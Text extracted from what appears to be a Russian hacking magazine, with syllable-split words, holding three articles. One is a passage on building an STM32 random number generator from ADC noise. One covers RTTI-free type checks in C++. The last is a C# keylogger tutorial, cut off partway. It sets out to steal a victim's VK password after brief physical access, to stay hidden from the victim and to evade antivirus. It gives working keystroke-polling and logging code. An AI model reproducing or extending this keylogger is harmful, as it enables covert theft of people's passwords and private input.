выделить  пос тоян ную  сос тавля ющую.  Но  что  выб рать  в  качес тве  вход ного
сиг нала (без него шумы в АЦП сами собой не появят ся)? На пла те дос тупно
шесть  ана лого вых  вхо дов  разъ ема  Arduino,  одна ко  их  исполь зовать  я
не рекомен дую. Выводы нуж но эко номить, да и есть веро ятность, что кто‐то
подаст  на  него  заранее  извес тный  сиг нал  и  попыта ется  испортить  наш
генера тор.

К  счастью,  сов ремен ные мик рокон трол леры  осна щены мас сой  полез ных
мелочей — поч ти как хороший швей цар ский армей ский нож. На бор ту у мик‐ 
росхе мы F746NG — ана лого вые дат чики тем перату ры и нап ряжения с регуля‐ 
тора  1,2  В.  Помимо шес тнад цати  внеш них  вхо дов,  у  пер вого  АЦП  есть  два
допол нитель ных  канала  для  соот ветс тву ющих  изме рений.  Все го  же  у  нас
целых три АЦП и кон такты А0 — А5 исполь зуют ся сов мес тно с треть им. Все
это мож но узнать из докумен тации ( , с. 413) и исходни ков про екта STM32‐
duino.  Таким  обра зом,  мы  будем  исполь зовать  ADC1,  не  мешая  работе
осталь ной час ти прог раммы.
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О  дат чиках  сто ит  рас ска зать  под робнее.  Даже  инже неры  ST  ука зыва ют
в даташи те ( , с. 43 и 151), что точ ность изме рений у них оставля ет желать
луч шего  и  что  они  пред назна чены  ско рее  «для  качес твен ного,  нежели
количес твен ного  изме рения  харак терис тик».  Конеч но,  есть  воз можность
улуч шить точ ность, исполь зуя парамет ры завод ской калиб ровки (для каж дой
мик росхе мы они свои), но в целом кар тину это мало меня ет. Прек расно!
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Воз можно,  ты  задумал ся,  зачем  на  мик рокон‐ 
трол лере, который работа ет от 3,3 В, нуж но нап‐ 
ряжение  1,2  В.  На  самом  деле  это  нап ряжение
питания самого ядра (Cortex‐M7), а так же памяти
(ОЗУ и ПЗУ). Это сде лано в пер вую оче редь, что‐ 
бы сни зить энер гопот ребле ние и теп ловыде ление
крис талла. С перифе рией вво да‐вывода эта часть
соеди няет ся  через  пре обра зова тели  логичес ких
уров ней  (подоб но  тому  как  схе мы  с  уров‐ 
нем 3,3 В иног да соеди няют со ста рыми — с 5 В).

На ивный под ход
Те перь оста ется толь ко написать фун кции ини циали зации АЦП и чте ния соот‐ 
ветс тву ющих зна чений. Это чуть слож нее, чем запус тить TRNG: регис тров тут
боль ше,  нес коль ко  режимов  работы,  и  вро де  бы  совер шенно  непонят но,
какие  нас трой ки  ука зывать. Но  пос ле  вдум чивого  чте ния ману ала  поч ти  все
воп росы  дол жны  исчезнуть.  Единс твен ный  тон кий  момент,  который  может
выз вать зат рудне ния, — это как имен но задать нуж ный канал для изме рений.

Де ло в том, что бло ки АЦП на таких прод винутых мик рокон трол лерах рас‐ 
счи таны  на  пакет ную  обра бот ку  дан ных.  Пред полага ется,  что  ЦПУ  занят
слиш ком важ ными вещами, что бы отвле кать ся и ждать зна чения из АЦП. Пра‐ 
виль ный сце нарий по умол чанию зак люча ется в том, что бы по сра баты ванию
какого‐либо  пре рыва ния  (нап ример,  от  тай мера)  запус тить  сра зу  цепоч ку
пре обра зова ний  на  самых  раз ных  каналах  из  регис тра  SQRX.  Парал лель но
задей ству ется пря мой дос туп (DMA), что бы переб расывать резуль тат куда‐то
в память (где их потом заберет ЦПУ).

Но это менее наг лядно и в слу чае со все го дву мя канала ми даже излишне.
Поэто му  мы  попыта емся  сох ранить  понят ный  интерфейс  вызовов  Arduino,
исполь зуя при этом CMSIS для мак сималь ной ско рос ти.

#include <cstdint>
#include <stm32f746xx.h> /* for CMSIS defines */

enum channel_t {
 VREF = 17,
 TEMP = 18

};

void adc_init() {
 RCC ‐> APB2ENR |= RCC_APB2ENR_ADC1EN; /* enable clock */
 ADC1 ‐> CR2 |= ADC_CR2_ADON;          /* enable ADC */
 ADC1 ‐> SMPR1 |= ADC_SMPR1_SMP18_1 |  /* 28 cycles sample rate for 

*/
                  ADC_SMPR1_SMP17_1;   /* temp & Vref channels      
*/
 ADC ‐> CCR |= ADC_CCR_TSVREFE;        /* enable temp & Vref 

sensors */
}

int16_t adc_read(channel_t ch) {  
 ADC1 ‐> SQR3 = ch;                    /* set up new channel */
 ADC1 ‐> CR2 |= ADC_CR2_SWSTART;       /* software start */
 while (!(ADC1 ‐> SR & ADC_SR_EOC));   /* wait until data is ready 

*/

 return ADC1 ‐> DR;
}

Об рати вни мание, что исполь зует ся две над цатибит ная  точ ность изме рений,
что бы регис три ровать даже неболь шие шумы в сиг нале. Кро ме того, на каж‐ 
дое  пре обра зова ние  отво дит ся  28  так тов,  хотя  минималь ное  зна чение
для 12 бит сос тавля ет 15 так тов (мож но най ти в ману але). От это го нап рямую
зависит точ ность (чем мед леннее — тем точ нее) и количес тво пре обра зова‐ 
ний за еди ницу вре мени. Изна чаль но я пред полагал, что луч ше все го энтро‐ 
пию набирать при мак сималь ной ско рос ти, но опыт ным путем было выяс нено,
что это не так и 28 так тов — опти маль ное зна чение.

Ра зуме ется, пол ностью брать резуль тат для наших нужд нель зя. Стар шие
раз ряды  вряд  ли  будут  сущес твен но  менять ся,  сколь ко  бы мы  ни  пытались.
Более‐менее слу чай ны как раз млад шие биты нашего чис ла. Я беру наиме‐ 
нее  пред ска зуемый  пра вый  бит.  Таким  обра зом,  алго ритм  очень  прос той:
пооче ред но чита ем зна чения с дат чиков тем перату ры и нап ряжения и добав‐ 
ляем два бита в нашу выход ную пос ледова тель ность. Что же, что же получит ся
в резуль тате?

Ка тас тро фа!

Это  было  неп росто,  но  сге нери рован ная  мной  пос ледова тель ность  ока‐ 
залась даже хуже той, которую выдала стан дар тная фун кция  . Неуже ли я
зря пот ратил свое (и твое) вре мя?

rand

По пыт ка номер два
На  самом  деле  это  показа тель ный  при мер  того,  что  к  генера ции  слу чай ных
чисел  нуж но  отно сить ся  серь езно.  При митив ные  методы  никог да  не  дадут
хороше го резуль тата и вряд ли оста новят нас той чивого иссле дова теля. Выше
я допус тил нес коль ко базовых оши бок, и при дет ся их испра вить.

Во‐пер вых, наш метод может быть сколь угод но слу чай ным, но это еще не
озна чает,  что  рас пре деле ние  в  нем  рав номер ное.  Клас сичес кий  при мер —
«неп равиль ная» монет ка, веро ятность выпаде ния орла на которой боль ше 0,5
(ска жем, 0,9). Оче вид но,  что в серии брос ков орлов будет  гораз до боль ше,
чем решек, но при этом гаран тирован но уга дать каж дый сле дующий резуль‐ 
тат все еще невоз можно.

Ана логич но обсто ит дело и с АЦП. В иде аль ной ситу ации в выход ной пос‐ 
ледова тель нос ти дол жно быть при мер но поров ну нулей и еди ниц. Что бы это‐ 
го добить ся, мож но исполь зовать алго ритм филь тра ции фон Ней мана. Если
корот ко, то в каж дой паре битов во вход ном потоке мы срав нива ем оба зна‐ 
чения  меж ду  собой  и  исполь зуем  толь ко  пер вый  или  вто рой  бит  в  парах
с перехо дом (вида   или  ). При этом пары не нак ладыва ются друг на дру‐ 
га, а сле дуют одна за дру гой.
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Вто рой  момент  зак люча ется  в  том,  что бы  эффектив но  сме шивать  оба
наших источни ка энтро пии. То есть нуж на такая фун кция, которая меняла бы
свой резуль тат при изме нении одно го из аргу мен тов. Из самых рас простра‐ 
нен ных опе раций в этом пла не наибо лее показа тель на, конеч но же, фун кция
исклю чающе го ИЛИ (XOR).

Под робней  обо  всем  этом  (а  так же  о  мно гом  дру гом)  ты  можешь  про‐ 
читать в  . Нес мотря на то что это доволь но ста рый документ, в нем
дос тупно изло жены базовые кон цепции и он по‐преж нему акту ален. Как пра‐ 
вило, выход с аппа рат ного генера тора поч ти всег да рекомен дует ся филь тро‐ 
вать  перед  обра бот кой  (в  англо языч ной  литера туре  упот ребля ется  тер мин
whitening — побел ка). Сущес тву ют и дру гие алго рит мы, но,  учи тывая скром‐ 
ные  ресур сы  мик рокон трол леров,  в  пер вую  оче редь  желатель но  про бовать
имен но те, что я опи сал.

RFC 4086

К  сожале нию,  помимо  оче вид ных  плю сов,  у  такой  филь тра ции  есть
и  сущес твен ный  минус.  Нет рудно  заметить,  что  на  каж дом  эта пе  выход ной
поток ока зыва ется зна читель но короче вход ного. И если XOR уре зает поток
«все го»  вдвое,  то  при  фик сирован ной  выход ной  дли не  алго ритм  фон  Ней‐ 
мана  тре бует,  вооб ще  говоря,  неоп ределен ного  количес тва  вход ных  битов
(обыч но  этот  коэф фици ент  сос тавля ет  от  четырех  до  шес ти,  для  источни ка
энтро пии  сред него  качес тва).  Так  что,  если  тебе  вдруг  при дет ся  генери‐ 
ровать  таким  спо собом  какой‐нибудь  ключ,  точ ное  зат рачен ное  вре мя
не ска жет ник то (ну раз ве что Хакану бис).

С уче том всех допол нений код при нима ет такой вид:

#include "ff.h" /* for disk IO */
#define LEN       (100)

static UINT temp;

float app_process() {  
 static uint32_t count = 0;
 char buffer[LEN + 1];

 for (uint32_t i = 0; i < LEN; ++i) { /* create a line of random 
bits */
   int32_t v1, v2, t1, t2;

   v1 = adc_read(VREF);
   t1 = adc_read(TEMP);
   v2 = adc_read(VREF);
   t2 = adc_read(TEMP);

   v1 = (v1 ^ t1) & 0x01;
   v2 = (v2 ^ t2) & 0x01;

   v1 != v2 ? buffer[i] = char(v1 + '0') : ‐‐i; /* if not success, 
repeat */
 }

 f_write(file, buffer, sizeof(buffer), &temp);
 count++;

}

На конец, пос ле дол гого ожи дания, накоп ления и про вер ки энтро пии резуль‐ 
тат тес тов выг лядит сле дующим обра зом.

Неп лохая попыт ка, но до TRNG все‐таки не дотяги вает

ЗАКЛЮЧЕНИЕ
Ко неч но  же,  генери ровать  весь  пул  энтро пии  средс тва ми  АЦП  вряд  ли
целесо образно (раз ве что у тебя в запасе целая куча вре мени). А вот про ини‐ 
циали зиро вать началь ным зна чени ем прог рам мный генера тор впол не разум‐ 
но.  Кро ме  того,  если  у  тебя  есть  сом нения  отно ситель но  тво его  текуще го
ГСЧ, под мешива ние вто рого потока может при дать допол нитель ной уве рен‐ 
ности.

Ес ли  тебя  заин тересо вала  тема  аппа рат ной  генера ции  слу чай ных  чисел,
рекомен дую  заг лянуть  в  «Искусс тво  схе мотех ники»  (Хоровиц,  Хилл).
В девятой гла ве есть под робное опи сание некото рых любопыт ных схем. Там
же мож но про читать про струк туру и прин цип дей ствия АЦП. Прав да, матери‐ 
ал не самый прос той и тре бует зна ния как ана лого вой, так и циф ровой элек‐ 
тро ники. Но оно того сто ит!

https://ru.wikipedia.org/wiki/%D0%9A%D0%BE%D0%BB%D1%8C%D1%86%D0%B5%D0%B2%D0%BE%D0%B9_%D0%B3%D0%B5%D0%BD%D0%B5%D1%80%D0%B0%D1%82%D0%BE%D1%80
https://ru.wikipedia.org/wiki/%D0%94%D0%B6%D0%B8%D1%82%D1%82%D0%B5%D1%80
https://www.st.com/content/ccc/resource/technical/document/application_note/group0/3f/4c/a4/82/bd/63/4e/92/CD00211314/files/CD00211314.pdf/jcr:content/translations/en.CD00211314.pdf
https://www.st.com/content/ccc/resource/technical/document/reference_manual/c5/cf/ef/52/c0/f1/4b/fa/DM00124865.pdf/files/DM00124865.pdf/jcr:content/translations/en.DM00124865.pdf
https://www.st.com/resource/en/datasheet/stm32f746ng.pdf
https://tools.ietf.org/html/rfc4086
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КОДИНГ

В  C++  сущес тву ет  такое  понятие,
как динами чес кая иден тифика ция типа дан‐ 
ных (RTTI). Это механизм, который поз воля‐ 
ет опре делить тип перемен ной или объ екта
на  эта пе  выпол нения  прог раммы.  Одна ко,
что бы  умень шить  раз мер  соб ранных
бинарей,  во  мно гих  про ектах  RTTI  отклю‐ 
чают, и от это го перес тают работать dynam‐
ic_cast  и  typeid.  Но  спо соб  про верить,
порож ден  ли инстанс объ екта от  какого‐то
базово го  клас са,  все  же  есть,  и  в  сво ей
статье я покажу, как сде лать это эле ган тно.

От клю чение RTTI при водит к тому, что для верифи кации начина ют делать раз‐ 
ные стран ные вещи — нап ример, заводят целочис ленные class_id и про веря‐ 
ют их вруч ную, бегая гла зами по иерар хии клас сов. Мы же исполь зуем магию
шаб лонов  и  полимор физм,  что бы  обой тись  без  это го.  Это  поможет  умень‐ 
шить количес тво бре доко да, а так же упростит при веде ние к нуж ному типу.

Тра дици онно  C++  счи тает ся  надеж ным  инс тру мен том  пос тро ения  API
с про вер кой  типов еще на эта пе  ком пиляции. Исклю чения сос тавля ют шаб‐ 
лоны  и  ссыл ки  на  базовый  тип,  которые  дают  отно ситель ную  сво боду
в выборе типа. Как пра вило, ког да про ект раз раста ется, ста рают ся эко номить
каж дый  мегабайт  получа ющих ся  бинар ников  и  в  пер вую  оче редь  под  нож
идет сис тема RTTI.

С  одной  сто роны,  конеч но,  RTTI  дает  воз можность  делать  dynamic_cast
вверх  по  иерар хии  нас ледова ния,  а  так же  узна вать  иден тифика тор  типа
по typeid, но, с дру гой сто роны, кто и ког да этим поль зует ся? Как пра вило, dy‐
namic_cast  без  проб лем  заменя ется  static_cast  (если  биб лиоте ка  C++
не содер жит дей стви тель но вет вистое дерево нас ледова ния).

Бы вает, конеч но, что нас ледова ние в C++ не сво дит ся к наличию баналь‐ 
ного базово го интерфей са   и нас ледова нию   в нед рах
биб лиоте ки. Вмес то это го может быть пред став лена пол ноцен ная иерар хия
типов. Тог да без RTTI будет слож но обой тись, прос то потому, что мы не смо‐ 
жем взять и про верить тип на инстан цирова ние опре делен ного типа иерар‐ 
хии через про вер ку dynamic_cast.

IClassName ClassName

void somefunc(base* b) {
   if (derived* d = dynamic_cast<derived*>(b))

Как  пра вило,  либо  есть  стоп роцен тная  уве рен ность,  что  это  инстанс  опре‐ 
делен ного  клас са  (которая  в  полови не  слу чаев  в  ито ге  ока зыва ется  далеко
не  стоп роцен тной),  либо  инстанс  типа  про веря ется  на  некий  уни каль ный
CLASS_ID, передан ный при соз дании экзем пля ра клас са. А это, разуме ется,
край не дырявый спо соб про верить инстан цирова ние клас са, ведь нас ледни‐ 
ки будут иметь свой уни каль ный CLASS_ID. Поэто му такая про вер ка воз можна
не столь ко на импле мен тацию клас са, сколь ко на соот ветс твие ров но одно му
типу. Все это вылива ется в целые цепоч ки про верок вида

void somefunc(const creature& c) {
   if (c.class_id() == animal::CLASS_ID) ...
   if (c.class_id() == cow::CLASS_ID) ...

Од нако  идея,  в  общем‐то,  неп лоха,  давай  толь ко  сде лаем  про вер ку  про ще
и эффектив нее. Пусть у нас будет воз можность про верить любые два клас са
иерар хии  на  нас ледова ние,  а  любой  инстанс  клас са  этой  иерар хии  —
на импле мен тацию опре делен ного клас са.

ДЕЛАЕМ ПРОВЕРКУ УДОБНЕЕ
По могут нам в этом шаб лоны и полимор физм. Если у нас все го два клас са,
то, кро ме шаб лона, нам ничего не нуж но.

Итак, дано дерево нас ледова ния, пусть каж дый класс   однознач но иден‐ 
тифици рует ся по методу  , а так же задан typedef для базово го клас са,
поиме нован ный как   для каж дого клас са иерар хии.

X
X::id()

X::base

class B : public A {
public:
   typedef A base;
   static someunique id();

В  этом  слу чае  шаб лон    будет  дос таточ но  прос тым:
нуж на  про вер ка  на  соот ветс твие    или  непос редс твен но  ,
либо   — один из нас ледни ков  , и, рекур сивно обхо дя пред ков, мы най дем
соот ветс твие.

is_class<X>::of<Y>()
X::id() Y::id()

X Y

template <typename X>
struct is_class {
   template <typename Y>
   static bool of() { return X::id() == Y::id() ||
                      is_class<X::base>::of<Y>(); }

Те перь оста лось толь ко обес печить кор рек тный выход из рекур сии в базовом
клас се. Для кор рек тно го обхо да клас сов иерар хии нам нуж но, что бы базовый
класс завер шал поиск пред ка.

template <>
struct is_class<root> {
   template <typename Y>
   static bool of() { return root::id() == Y::id(); }

Те перь если есть иерар хия  ,
то мож но спо кой но про верять любые клас сы на нас ледова ние друг от дру га.

creature => animal => cat и animal => dog

template <typename X>
void meet(X&& x) {
   if (is_class<X>::of<dog>())
       feed(std::forward<dog>(x));

ПОЛИМОРФИЗМ ВМЕСТО RTTI
С  про вер кой  объ екта  на  инстан цирова ние  клас са  иерар хии  будет  слож нее.
Нам понадо бит ся спе циаль ный вир туаль ный метод  , который в каж дом
клас се воз вра щает свой ста тичес кий уни каль ный  .

who()
id()

class B : public A {
public:
   typedef A base;
   static someunique id();
   virtual someunique who() const { return id(); }

Так же было бы удоб но у любого инстан са иерар хии спра шивать, инстан циру‐ 
ет ли он один из ее клас сов. Для это го в кор невом клас се иерар хии заведем
метод  , который будет шаб лонным, а зна чит, нес коль ко полома ет нам
полимор физм  при  про вер ке.  Для  выхода  из  ситу ации  заведем  еще  один
вспо мога тель ный метод  , перег ружен ный от типа, которым опре‐ 
деля ется уни каль ность клас са в методе  .

is<X>()

is_base_id
id()

class root {
public:
   template <typename X>
   bool is() const { return is_base_id(X::id()); }

   virtual bool is_base_id(const someunique& base_id) const {
       return base_id == id();
   }

У нас ледни ков метод   дол жен пере опре делять ся ана логич но про‐ 
вер ке    с  исполь зовани ем  про вер ки  базово го  клас са
на соот ветс твие  .

is_base_id
is_class<X>::of<Y>

id()

class B : public A {
public:
   typedef A base;
   static someunique id();
   virtual someunique who() const { return id(); }

   virtual bool is_base_id(const someunique& base_id) const {
       return base_id == id() ||
              base::is_base_id(base_id);
   }

Та ким  обра зом,  каж дый  класс  иерар хии мож но  будет  про верить  на  инстан‐ 
цирова ние  любого ее  клас са и безопас но при водить  тип по  ссыл ке  в  соот‐ 
ветс твии с иерар хией.

void somefunc(const creature& c) {
   if (c.is<animal>()) {
       const animal& a = static_cast<const animal&>(c);

Пос коль ку пос ле про вер ки на инстан цирова ние чаще все го идет имен но при‐ 
веде ние  типа  (обыч но  для  это го  про вер ка  и  нуж на),  то  удоб но  так же  в  кор‐ 
невом клас се сде лать еще один метод  , который инкапсу лиру ет про‐ 
вер ку   и ста тичес кое пре обра зова ние типа.

as<X>()
is<X>()

class root {
public:
   template <typename X> const X& as() const;
   template <typename X> X& as();

Ра зуме ется,  это  удоб но  делать,  толь ко  если  вмес те  с  RTTI  в  про екте
не  отклю чены  еще  и  исклю чения.  Ина че  будет  слож но  кинуть  исклю чение
в  том слу чае, если, нап ример, некий объ ект    типа    не  инстан циру ет
тип  , а его про сят  . ;)

x animal
cat x.as<cat>().say_meow()

УМЕТЬ ГОТОВИТЬ C++
Язык  C++  очень  гиб кий  и  мощ ный,  а  если  нем ножко  уде лять  вни мание
деталям, то и удоб ный. Мы получи ли высоко уров невые спо собы удоб ной про‐ 
вер ки нас ледова ния клас сов и инстан цирова ния от них объ ектов. Нак ладные
рас ходы при этом не так страш ны.

Нас леду емый  класс дол жен опре делять  пред ка  через    с  тем же
име нем, нап ример base.

• typedef

Каж дый  класс  иерар хии  дол жен  уметь  иден тифици ровать  себя  методом
.  Тип  иден тифика тора  я  рас смот рю  ниже,  но  он  неп ринци пиален,

это может быть прос то  .

•
id()

int

Кор невой  класс  иерар хии  дол жен  завер шать  рекур сивный  обход  вверх
по иерар хии, что весь ма логич но.

•

Каж дый  класс  иерар хии  дол жен  уметь  про верить  про изволь ный 
на соот ветс твие либо сво ему  , либо   одно го из сво их пред ков —
для про вер ки инстан цирова ния клас са.

• id()

id() id()

Так же  для  удобс тва  были  вве дены  методы  ,    и 
в базовом клас се.

who() is<X>() as<X>()

Единс твен ный  минус  этой  схе мы  —  обя затель ное  объ явле ние  ,
,   и   в каж дом клас се иерар хии. Для удобс тва мож но

завер нуть все в мак рос с аргу мен том базово го типа, дела ющий одно тип ные
объ явле ния.

base
is_base_id() id() who()

Те перь внут ри иерар хии клас сов мы можем:
про верять, явля ется ли класс   нас ледни ком дру гого клас са  ,  конс трук‐ 
цией  ;

• X Y

is_class<X>::of<Y>()

про верять, инстан циру ет ли объ ект   класс   методом  .• z W z.is<W>()

Бо нусом  мы  получи ли  ран тайм‐информа цию  об  иден тифика торе  типа
методом  . Если иден тифика тор под держи вает челове кочи таемый фор‐ 
мат, это может быть полез но для логиро вания и отладки.

who()

Дру гим  бонусом  может  стать  безопас ное  при веде ние  типов  вверх
по  иерар хии  вспо мога тель ным  методом  ,  даже  если  исклю чения
отклю чены. Прос то в этом слу чае при дет ся воз вра щать ука затель и про верять
его в луч ших тра дици ях пещер ных пред ков, писав ших на чис том C.

as<X>()

УНИКАЛЬНЫЙ ИДЕНТИФИКАТОР КЛАССА
Ос талось разоб рать ся, как иден тифици ровать класс. На самом деле подой‐ 
дет  абсо лют но  любой  тип,  под держи вающий  срав нение.  Име ет  смысл  соз‐ 
давать  кон стан ту  с  иден тифика тором  в  пер вый  вызов  метода    каж дого
клас са.

id()

Бу дет полез но, если при этом по   ока жет ся воз можным будет понять,
чей  это  иден тифика тор,  то  есть  не  лиш ним  будет  имя  типа.  Так же  важ но
понимать,  что  тело  метода  дол жно  находить ся  не  в  заголо воч ном  фай ле,
а  иден тифика тор  дол жен  еди нож ды  экспор тировать  уни каль ную  сге нери‐ 
рован ную кон стан ту.

id()

Рас смот рим  при мер  такого  типа,  по  которо му  мож но  иден тифици ровать
нас ледова ние любого клас са иерар хии.

class class_id {
public:
   class_id(const char* const name)
       : m_name(name), m_index(generate_unique()) {
   }
   const char* const name() const { return m_name; }
   int index() const { return m_index; }
   bool operator == (const class_id& another) const {
       return m_index == another.m_index;
   }
private:
   const char* const m_name;
   int m_index;
};

Ес ли мы исполь зуем  , то его дос таточ но прос то потоко безо пас но инкре‐ 
мен тить  для  генера ции  уни каль ных  зна чений  и  получить  мил лиар ды  раз ных
типов.  Выходит,  что    в  целом  необя зате лен,  но  узнать  у  объ екта
иерар хии   его   быва ет очень и очень полез но.

int

class_id
z z.who().name()

В методе    каж дого  клас са  нам  в  помощь  static‐кон стан та  с  нуж ным
име нем.

id()

const class_id& cat::id() {
   static const class_id cat_id("cat");
   return cat_id;
}

Та ким обра зом, все объ явле ния методов   и    све дут ся  к  объ явле‐ 
ниям вида

id() who()

class creature {
public:
   static const class_id& id();
   virtual const class_id& who() const { return id(); }

Под чер кну, что генера ция уни каль ных кон стант не дол жна инлай нить ся, а дол‐ 
жна  экспор тировать ся  из  единс твен ного  мес та,  где  соз дан  ров но  один
экзем пляр  дан ного  типа  для  каж дого  клас са  иерар хии,  вклю чая  инстан сы
шаб лонов.

БЕЗОПАСНОСТЬ — В УДОБСТВЕ
В  оче ред ной  раз  мож но  убе дить ся,  что  чем  удоб нее  мы  дела ем  для  себя
окру жение раз работ ки, тем безопас нее получа ется код и тем про ще его под‐ 
держи вать. Вмес то гро зяще го нам леса про верок на иден тифика торы в каж‐ 
дом  вто ром  методе  мы  авто мати зиро вали  про вер ку  обхо да  всей  иерар хии
до самого ее кор ня и запако вали в удоб ные чита емые методы.

Сла бое мес то  такого под хода — при нуди тель ное инстан цирова ние шаб‐ 
лонов нас ледни ков. Так же этот метод не получит ся при менять для про вер ки
более одно го пред ка, но мож но добавить необ ходимые модифи кации.

В общем, мой совет — не мирить ся  с  вещами,  которые вызыва ют слож‐ 
ности  в  под дер жке  кода —  тво его  или  унас ледован ного.  Прос тей шее  объ‐ 
явле ние одно го‐единс твен ного мак роса в теле клас са и объ явле ние по одно‐ 
му  методу  ана логич ного    для  клас са  решит  любые  проб лемы  с  рекур‐ 
сивной про вер кой нас ледова ния и инстан цирова ния клас сов иерар хии.

id()

WWW

•Ис ходни ки на GitHub

mailto:qualab@gmail.com
https://github.com/qualab/xakep-RTTI/blob/master/creatures.cpp
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КОДИНГ

Бо евые  кей лог геры  с  кучей  фун кций  и  защитой  от  детек та
 десят ки, если не сот ни дол ларов. Но кей лог гер

не  такая  уж  слож ная шту ка,  и  при желании  ты можешь сде‐ 
лать  собс твен ный  и  даже  избе жать  детек та  анти виру сами.
В  этой  статье  я  покажу,  как  это  дела ется,  а  заод но  поуп‐ 
ражня емся в раз работ ке прог рамм на C#.

мо гут сто ить

СТАВИМ ЗАДАЧУ
Муд рить  не будем и огра ничим ся  необ ходимым миниму мом. Пред положим,
мы  хотим  заполу чить  пароль жер твы от ВК и мы можем ненадол го  получить
физичес кий дос туп к компь юте ру. При этом:

мы  не  бес поко им  жер тву  лиш ними  окна ми,  икон ками  в  тас кба ре,  сооб‐ 
щени ями об ошиб ках и подоб ным;

•

мы  име ем  дос туп  к  целево му  компь юте ру  толь ко  однократ но  и  на  очень
корот кий срок;

•

мы смо жем забирать логи, находясь в той же локаль ной сети;•
ан тивирус дол жен мол чать;•
фай рвол  не  учи тыва ем  и  пред полага ем,  что  мы  дадим  ему  раз решение
вруч ную при под садке кей лог гера;

•

мы не будем пытать ся скры вать про цесс и толь ко дадим ему неп римет ное
наз вание.

•

Еще  жер тва  может  поль зовать ся  пароль ным  менед жером,  тог да  в  логе  мы
получим толь ко Ctrl‐C и Ctrl‐V. На этот слу чай будем монито рить еще и содер‐ 
жимое буфера обме на.

INFO

Под робнее  об  ата ках  на  пароль ные  менед жеры
читай в статье «

».
Ищем сла бые мес та сов ремен ных

менед жеров паролей

Пи сать будем на C# в  . Забегая впе ред, ска жу, что в резуль тате
у меня получи лось две вер сии прог раммы — одна работа ет через перех ват
WinAPI, дру гую я про себя называю «кос тыль ной». Но эта менее кра сивая вер‐ 
сия  дает  дру гие  резуль таты  при  про вер ке  анти виру сами,  поэто му  рас ска жу
и о ней.

Visual Studio

ТЕОРИЯ
Ког да  ты  нажима ешь  на  кноп ку,  опе раци онка  посыла ет  уве дом ления  тем
прог раммам, которые хотят об этом узнать. Поэто му самый прос той спо соб
перех ватить ввод с кла виату ры — это при нимать сооб щения о нажати ях кла‐ 
виш. Если мы это го сде лать не можем (нап ример, фун кция 
зап рещена анти виру сом или еще чем‐либо), мож но тянуть сырой ввод и без
нее. Есть такая фун кция —  , которая при нима ет номер кла‐ 
виши и поз воля ет узнать, зажата она или отжа та в момент вызова. Собс твен‐ 
но,  алго ритм  дей ствий  будет  такой:  раз  в  N  мс  опра шива ем  все  кноп ки
и узна ем их сос тояние, занося нажатые в спе циаль ный спи сок. Затем спи сок
обра баты ваем, учи тывая сос тояние кла виши Caps Lock, Num Lock, Shift, Ctrl
и так далее. Получен ные дан ные будем записы вать в файл.

SetWindowsHookEx

GetAsyncKeyState

ПИШЕМ КОД
Для  начала  откро ем  Visual  Studio  и  соз дадим  новый  про ект  Windows  Forms
(.NET Framework). Почему имен но Windows Forms? Если мы выберем обыч ное
кон соль ное  при ложе ние,  то  при  каж дом  запус ке  будет  соз давать ся  нек‐ 
расивое чер ное окош ко, а ведь юзе ра мы догово рились не бес поко ить. Так‐ 
же, пока мы не соз дали фор му (а соз давать ее мы и не будем), никаких знач‐ 
ков в  тас кба ре не появит ся — важ ная часть скры той работы. Теперь уда ляй
авто мати чес ки  соз данный  файл  Form1.cs  со  все ми  пот рохами  и  откры вай
Program.cs.

Заг лушка Main

Здесь нас уже под жида ет шаб лон прог раммы, но он не будет работать прос‐ 
то  так.  Пер вым  делом  надо  убрать  строч ки  10–12  и  16–18.  Теперь  меня ем
объ явле ние  метода  со    на 

. Нуж но это для того, что бы мы мог ли опре делить свои аргу‐ 
мен ты при переза пус ке.

static  void  Main() static  void  Main(
String[] args)

Те перь добавим   для работы с фай лами, 
  для  работы  с WinAPI  и    для  при‐ 

оста нов ки потока. Если ты не хочешь писать кос тыль ный вари ант, луч ше про‐ 
пус ти этот раз дел и сра зу перехо ди к сле дующе му.

using System.IO; System.Run‐
time.InteropServices System.Threading

Им порти руем   из user32.dll:GetAsyncKeyState

[DllImport("user32.dll")]
public static extern int GetAsyncKeyState(Int32 i);

И добав ляем собс твен но  логиро вание нажатий,  собирая их  по десять штук,
что бы не делать слиш ком мно го дис ковых опе раций:

while (true)
{
  Thread.Sleep(100);
  for (int i = 0; i < 255; i++)
  {
     int state = GetAsyncKeyState(i);
     if (state != 0)
     {
       buf += ((Keys)i).ToString(); 
       if (buf.Length > 10) 
       {
          File.AppendAllText("keylogger.log", buf); 
          buf = ""; 
       }
     }
  }
}

Рас шифро вывать такой лог будет неудоб но

Выг лядит  не  очень  кра сиво,  а  про  читабель ность  вооб ще  мож но  забыть.
Во‐пер вых, наш код тянет ввод не толь ко с кла виату ры, но и с мыши (вся кие
LButton и RButton). Поэто му давай не будем записы вать нажатие, если это не
сим воль ная кла виша. Заменим содер жимое   в цик ле на это:if

// Усовершенствованная проверка введенных символов //
if (((Keys)i) == Keys.Space) { buf += " "; continue; }
if (((Keys)i) == Keys.Enter) { buf += "\r\n"; continue; }
if (((Keys)i) == Keys.LButton ||((Keys)i) == Keys.RButton ||((Keys)i)
== Keys.MButton) continue;

if (((Keys)i).ToString().Length == 1)
{
    buf += ((Keys)i).ToString();
}
else
{
    buf += $"<{((Keys)i).ToString()}>";
}
if (buf.Length > 10)
{     File.AppendAllText("keylogger.log", buf);
    buf = "";
}

Пос ле такого редак тирова ния лог стал нам ного чище (см. рисунок).

Выг лядит уже акку рат нее

Так уже нам ного луч ше! Теперь нуж но добавить обра бот ку кно пок Shift и Caps
Lock. Добавим в начале цик ла сле дующий код:

// Еще более усовершенствованная проверка //
bool shift = false;
short shiftState = (short)GetAsyncKeyState(16);
// Keys.ShiftKey не работает, поэтому я подставил его числовой 
эквивалент
if ((shiftState & 0x8000) == 0x8000)
{
   shift = true;
}
var caps = Console.CapsLock;
bool isBig = shift | caps;

Те перь  у  нас  есть  перемен ная,  которая  показы вает,  нуж но  ли  нам  оста вить
бук ву боль шой. Про веря ем ее и скла дыва ем сим волы в буфер.

Сле дующая  проб лема  —  это  сооб щения  вида  ,  , 
 и дру гие подоб ные. Они зна читель но усложня ют чте ние лога, так

что при дет ся это исправ лять. Нап ример,   — это обыч ная челове‐ 
чес кая запятая, а   — не что иное,  как Caps Lock. Нем ного потес‐ 
тировав лог гер на сво ем компь юте ре, я соб рал дос таточ но матери ала, что бы
при вес ти  лог  в  порядок.  Нап ример,  некото рые  сим волы  мож но  сра зу
заменить.

<Oemcomma> <ShiftKey>
<Capital>

<Oemcomma>
<Capital>

// Проверка на пробел и Enter //
